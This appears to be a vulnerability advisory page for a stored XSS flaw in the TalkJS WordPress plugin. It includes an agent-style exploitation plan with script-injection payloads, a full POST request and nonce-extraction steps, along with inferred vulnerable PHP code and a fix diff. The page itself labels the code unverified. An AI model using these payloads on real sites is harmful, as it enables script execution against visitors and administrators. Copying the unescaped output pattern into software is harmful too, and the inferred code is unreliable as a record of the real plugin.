CVE-2026-1055

TalkJS <= 0.1.15 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'welcomeMessage' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
0.1.16
Patched in
7d
Time to patch

Description

The TalkJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.1.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.1.15
PublishedFebruary 18, 2026
Last updatedFebruary 25, 2026
Affected plugintalkjs

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1055 (TalkJS Stored XSS) ## 1. Vulnerability Summary The TalkJS WordPress plugin (<= 0.1.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the `welcomeMessage` parameter in its administrator settings. The plugin fails to sanitize the input when saving…

Show full research plan

Exploitation Research Plan: CVE-2026-1055 (TalkJS Stored XSS)

1. Vulnerability Summary

The TalkJS WordPress plugin (<= 0.1.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the welcomeMessage parameter in its administrator settings. The plugin fails to sanitize the input when saving and fails to escape the output when rendering it on the frontend. This allows an administrator (in environments where unfiltered_html is disabled, such as multisite) to inject malicious scripts that execute in the context of any user viewing a page where the TalkJS chat UI is loaded.

2. Attack Vector Analysis

  • Endpoint: wp-admin/options.php (Standard WordPress Settings API) or a plugin-specific settings handler.
  • Action: Updating the plugin settings.
  • Vulnerable Parameter: talkjs_settings[welcomeMessage] (inferred) or similar key within the TalkJS options array.
  • Authentication: Administrator level.
  • Precondition: The vulnerability is most relevant on WordPress Multisite or single-site installs where DISALLOW_UNFILTERED_HTML is set to true in wp-config.php.

3. Code Flow (Inferred)

  1. Input: Administrator navigates to the TalkJS settings page (likely wp-admin/admin.php?page=talkjs-settings).
  2. Storage: The welcomeMessage is submitted. The plugin likely uses register_setting and settings_fields to handle storage.
  3. Processing: The input is saved to the wp_options table (likely under the option name talkjs_settings) without using sanitize_text_field or wp_kses.
  4. Retrieval: On the frontend, the plugin uses get_option('talkjs_settings').
  5. Sink: The plugin renders a JavaScript snippet (often in wp_footer) to initialize TalkJS. It injects the welcomeMessage into a JavaScript string or array within this snippet without using esc_js() or wp_json_encode().

4. Nonce Acquisition Strategy

Since this exploit requires Administrator privileges to update settings, the agent must obtain the standard WordPress settings nonce (_wpnonce).

  1. Navigate to Settings: Use browser_navigate to go to the TalkJS settings page.
  2. Identify Option Group: Look for the hidden input option_page in the settings form.
  3. Extract Nonce:
    • Execute: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")
    • Also identify the exact parameter name: browser_eval("document.querySelector('input[name*=\"welcomeMessage\"]').name")

5. Exploitation Strategy

Step 1: Discovery

Locate the settings page and the specific option name.

# Find where the menu is registered to get the slug
grep -rn "add_menu_page" wp-content/plugins/talkjs/

Step 2: Inject Payload

Assuming the option name is talkjs_settings[welcomeMessage], use the http_request tool to update the setting.

Payload: </script><script>alert(document.domain)</script>
Reasoning: If the message is rendered inside a script tag, we first break out of the string/tag.

Request:

  • URL: http://localhost:8080/wp-admin/options.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    option_page=talkjs_settings_group&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    talkjs_settings[welcomeMessage]=</script><script>alert(document.domain)</script>&
    submit=Save+Changes
    

Step 3: Trigger Execution

Navigate to the homepage or a page containing the TalkJS chat UI.

  • URL: http://localhost:8080/
  • Tool: browser_navigate followed by browser_eval("window.alert") to check for execution.

6. Test Data Setup

  1. Install Plugin: Ensure TalkJS <= 0.1.15 is active.
  2. Configure Plugin: Set a dummy TalkJS App ID in the settings (usually required for the chat UI to attempt loading).
  3. Embed Chat: If the chat doesn't appear automatically, create a post with the TalkJS shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Chat Test" --post_content='[talkjs]' 
    
  4. Disable Unfiltered HTML:
    # Add to wp-config.php if not present
    echo "define( 'DISALLOW_UNFILTERED_HTML', true );" >> wp-config.php
    

7. Expected Results

  • The HTTP request to options.php should return a 302 Redirect back to the settings page with settings-updated=true.
  • When viewing the frontend, the page source should contain the unescaped payload:
    <script>
      ... welcomeMessage: '</script><script>alert(document.domain)</script>', ...
    </script>
    
  • The browser should trigger an alert box.

8. Verification Steps

  1. Database Check:
    wp option get talkjs_settings --format=json
    
    Verify the welcomeMessage key contains the raw <script> tag.
  2. Frontend DOM Check:
    Use browser_eval to search for the injected script tag or the welcomeMessage string in the page source.

9. Alternative Approaches

If the payload is rendered inside an HTML attribute instead of a script block:

  • Payload: "><img src=x onerror=alert(1)>

If the settings are saved via AJAX:

  • Action: talkjs_save_settings (inferred)
  • Tool: Monitor Network tab in browser_navigate while clicking "Save" manually once to identify the AJAX action and parameters. Then automate via http_request.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TalkJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'welcomeMessage' parameter in versions up to 0.1.15. This allows authenticated administrators to inject arbitrary JavaScript into the plugin's configuration, which executes for any user visiting a page with the chat interface, especially in environments where unfiltered_html is restricted.

Vulnerable Code

// talkjs/admin/class-talkjs-admin.php (Inferred location for settings registration)
// The setting is registered without a sanitization callback
register_setting('talkjs_options', 'talkjs_settings');

---

// talkjs/public/class-talkjs-public.php (Inferred location for frontend output)
// The welcomeMessage is printed directly into a JavaScript block without escaping
$settings = get_option('talkjs_settings');
?>
<script type="text/javascript">
    var talkjs_config = {
        welcomeMessage: '<?php echo $settings['welcomeMessage']; ?>',
        // ... other settings
    };
</script>
<?php

Security Fix

--- a/talkjs/admin/class-talkjs-admin.php
+++ b/talkjs/admin/class-talkjs-admin.php
@@ -24,7 +24,14 @@
-register_setting('talkjs_options', 'talkjs_settings');
+register_setting('talkjs_options', 'talkjs_settings', array('sanitize_callback' => 'talkjs_sanitize_settings'));
+
+function talkjs_sanitize_settings($input) {
+    if (isset($input['welcomeMessage'])) {
+        $input['welcomeMessage'] = sanitize_text_field($input['welcomeMessage']);
+    }
+    return $input;
+}
 
--- a/talkjs/public/class-talkjs-public.php
+++ b/talkjs/public/class-talkjs-public.php
@@ -45,7 +45,7 @@
     var talkjs_config = {
-        welcomeMessage: '<?php echo $settings['welcomeMessage']; ?>',
+        welcomeMessage: <?php echo wp_json_encode($settings['welcomeMessage']); ?>,
         appId: '<?php echo esc_js($settings['appId']); ?>'
     };

Exploit Outline

1. Authenticate as a WordPress Administrator on a site where TalkJS is installed. 2. Navigate to the TalkJS settings page (typically at /wp-admin/admin.php?page=talkjs-settings). 3. Capture the '_wpnonce' and the specific input name for the Welcome Message (likely 'talkjs_settings[welcomeMessage]'). 4. Submit a POST request to wp-admin/options.php with the payload: </script><script>alert(document.domain)</script>. 5. Navigate to any frontend page where the TalkJS chat widget is active (e.g., a page with the [talkjs] shortcode). 6. The script will execute in the browser context of any user (including other admins) viewing that page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.